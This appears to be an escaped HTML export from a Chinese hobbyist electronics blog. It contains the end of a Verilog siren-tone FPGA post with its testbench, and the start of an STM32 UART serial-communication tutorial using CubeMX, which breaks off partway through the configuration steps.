punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u0026#39;b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e slowsweep \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e fastsweep\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u0026#39;b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e最终代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// hign.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e hign \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e25\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e fastsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e slowsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u0026#39;b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e slowsweep \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e fastsweep\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u0026#39;b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e clkdivider\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_hign\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//初始化输入信号\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ehign hign_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//input clk\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//output speaker\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/fpga4fun/1.png\" alt=\"1\"/\u003e\u003c/p\u003e\u003cp\u003e可以看出间隔确实是变化的,仿真波形图里第一个频率经过计算为912Hz,符合要求。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e待续……\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/f804/"},{"title":"STM32\u0026UART串口通信(使用CubeMX)","time":"2022-05-08T14:54:19Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"STM32-UART通信\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#STM32-UART%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"STM32 UART通信\"\u003e\u003c/a\u003eSTM32 UART通信\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e令人感慨,大二上学期不知道这玩意的我,是怎么把广和通项目糊出来的?\u003c/del\u003e\u003c/p\u003e\u003cp\u003e写完咯 ~ \u003cdel\u003e还没写完\u003c/del\u003e\u003c/p\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cp\u003e研究原理啥的还是看看参考的博客的好~\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e[\u003ca href=\"https://www.emoe.xyz/bonjour-stm32-uart-communication/\"\u003eBonjour STM32] No.7-demo 4.串口通信 - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.emoe.xyz/ee_tutorial_04/\"\u003e电子入门教程[04]-喂?zaima? - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/menlsh/archive/2013/01/28/2880580.html\"\u003e串口通信与编程01:串口基础知识 - 依旧淡然 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10793111.html\"\u003e基于STM32之UART串口通信协议(一)详解 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10798193.html\"\u003e基于STM32之UART串口通信协议(二)发送 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10809000.html\"\u003e基于STM32之UART串口通信协议(三)接收 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/11139901.html\"\u003e基于STM32之UART串口通信协议(四)Printf发送 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/milton/p/14711577.html\"\u003eSTM32 printf 方法重定向到串口UART - Milton - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/ForeverIT/article/details/82263142\"\u003eSTM32 Uart 实现printf函数_ForeverIT的博客-CSDN博客_stm32 实现printf\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"串口通信\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E4%B8%B2%E5%8F%A3%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"串口通信\"\u003e\u003c/a\u003e串口通信\u003c/h2\u003e\u003cp\u003e串口是串行接口(serial port)的简称,也称为串行通信接口或COM接口。\u003c/p\u003e\u003cimg src=\"https://s2.ax1x.com/2020/02/11/1TKcqI.jpg\" style=\"zoom: 67%;\"/\u003e\u003cimg src=\"https://s2.ax1x.com/2020/02/11/1TKyMd.jpg\" style=\"zoom:67%;\"/\u003e\u003cp\u003e串口通信是指采用串行通信协议(serial communication)在一条信号线上将数据一个比特一个比特地逐位进行传输的通信模式。\u003c/p\u003e\u003cp\u003e串口按电气标准及协议来划分,包括RS-232-C、RS-422、RS485等。\u003c/p\u003e\u003cp\u003e在串行通信中,数据在1位宽的 \u003cstrong\u003e单条线路\u003c/strong\u003e 上进行传输,一个字节的数据要分为8次,由低位到高位按顺序一位一位的进行传送。\u003c/p\u003e\u003cp\u003e串行通信的数据是逐位传输的,发送方发送的每一位都具有固定的时间间隔,这就要求接收方也要按照发送方同样的时间间隔来接收每一位。不仅如此,接收方还必须能够确定一个信息组的开始和结束。\u003c/p\u003e\u003cp\u003e常用的两种基本串行通信方式包括同步通信和异步通信。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e然后剩下的可以去参考链接继续了解了~\u003c/strong\u003e \u003cspan class=\"diana_yiyanzhen\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch2 id=\"UART简介\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#UART%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"UART简介\"\u003e\u003c/a\u003eUART简介\u003c/h2\u003e\u003cp\u003e嵌入式开发中,UART串口通信协议是我们常用的通信协议(UART、I2C、SPI等)之一,全称叫做通用异步收发传输器(Universal Asynchronous Receiver/Transmitter),是 \u003cstrong\u003e异步串口通信协议\u003c/strong\u003e 的一种,工作原理是将传输数据的每个字符一位接一位地传输,它能将要传输的资料在串行通信与并行通信之间加以转换,能够灵活地与外部设备进行全双工数据交换。\u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eUSART\u003c/strong\u003e 相当于UART的升级版,USART支持同步模式,因此USART 需要同步始终信号USART_CK(如STM32 单片机),通常情况同步信号很少使用,因此一般的单片机UART和USART使用方式是一样的,都使用异步模式。因为USART的使用方法上跟UART基本相同,所以在此就 \u003cstrong\u003e以UART\u003c/strong\u003e 来讲该通信协议了。\u003c/p\u003e\u003ch2 id=\"UART功能说明\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#UART%E5%8A%9F%E8%83%BD%E8%AF%B4%E6%98%8E\" class=\"headerlink\" title=\"UART功能说明\"\u003e\u003c/a\u003eUART功能说明\u003c/h2\u003e\u003cp\u003e接口通过三个引脚从外部连接到其它设备。任何 USART 双向通信均需要 至少两个引脚:接收数据输入引脚 (RX) 和发送数据引脚输出 (TX):\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e两个系统的GND必须连在一起\u003c/strong\u003e(因为需要有相同的参考电位)\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eRX:\u003c/strong\u003e接收数据输入引脚就是串行数据输入引脚。过采样技术可区分有效输入数据和噪声,从而用于恢复数据。\u003cbr/\u003e\u003cstrong\u003eTX:\u003c/strong\u003e发送数据输出引脚。如果关闭发送器,该输出引脚模式由其 I/O 端口配置决定。如果使 能了发送器但没有待发送的数据,则 TX 引脚处于高电平。在单线和智能卡模式下,该 I/O 用于发送和接收数据(USART 电平下,随后在 SW_RX 上接收数据)。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e具体原理留个坑,先大概了解到这,这次主要是通过 \u003cstrong\u003eCubeMX\u003c/strong\u003e 使用UART进行通信~\u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003chr/\u003e\u003ch2 id=\"波特率\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E6%B3%A2%E7%89%B9%E7%8E%87\" class=\"headerlink\" title=\"波特率\"\u003e\u003c/a\u003e波特率\u003c/h2\u003e\u003cp\u003e波特率的单位是 \u003cstrong\u003eBits/s\u003c/strong\u003e,很好理解, \u003cstrong\u003e每一位的传输时间\u003c/strong\u003e 。这个参数决定了串口传输数据的速度,115200,这是串口常用的波特率里很快的一个速度了,但是计算一下,11.5kbits/s,除以8换算成字节,也就是不到2kBytes/s,每秒传输一千多个字节的数据,就是这样一个速度了——比较老的USB2.0的U盘拷贝文件的速度大概在几个MBytes到十几MBytes每秒之间,对比一下可见串口这玩意确实是一个在速度上十分落后的通信接口了。\u003c/p\u003e\u003cp\u003e如何计算?比如我们的波特率是9600,那么每一位传输的时间是1/9600 s,意思就是说如果接连不断地发送数据帧,按照11bit长度计算,1秒钟可以发送9600/11=872.7,也就是差不多872个数据帧,也就是872字节。按照ASCII字母来说,872个英文字母/s,够直观了8~\u003c/p\u003e\u003ch2 id=\"CubeMX配置\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#CubeMX%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"CubeMX配置\"\u003e\u003c/a\u003eCubeMX配置\u003c/h2\u003e\u003cp\u003e本次使用 STM32F405RGT6\u003c/p\u003e\u003ch3 id=\"配置时钟\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E9%85%8D%E7%BD%AE%E6%97%B6%E9%92%9F\" class=\"headerlink\" title=\"配置时钟\"\u003e\u003c/a\u003e配置时钟\u003c/h3\u003e\u003cp\u003e选择外部晶振,然后时钟拉到最高~\u003c/p\u003e\u003cp\u003e)用一张之前的图,意思差不多\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/0.webp\" style=\"zoom:80%;\"/\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/4.webp\" alt=\"4\"/\u003e\u003c/p\u003e\u003ch4 id=\"设置调试接口\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E8%AE%BE%E7%BD%AE%E8%B0%83%E8%AF%95%E6%8E%A5%E5%8F%A3\" class=\"headerlink\" title=\"设置调试接口\"\u003e\u003c/a\u003e设置调试接口\u003c/h4\u003e\u003cp\u003e)照着参考链接来\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/uart/0.webp\"/\u003e\u003c/p\u003e\u003ch3 id=\"配置串口\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E9%85%8D%E7%BD%AE%E4%B8%B2%E5%8F%A3\" class=\"headerlink\" title=\"配置串口\"\u003e\u003c/a\u003e配置串口\u003c/h3\u003e\u003cp\u003e先启用,选择异步通信;然后波特率保持默认的 115200 就行\u003c/p\u003e\u003cimg src=\"http://http/img/posts/uart/1.webp\" alt=\"1\"/\u003e\u003ch3 id=\"选择生成必要的代码\"\u003e\u003ca 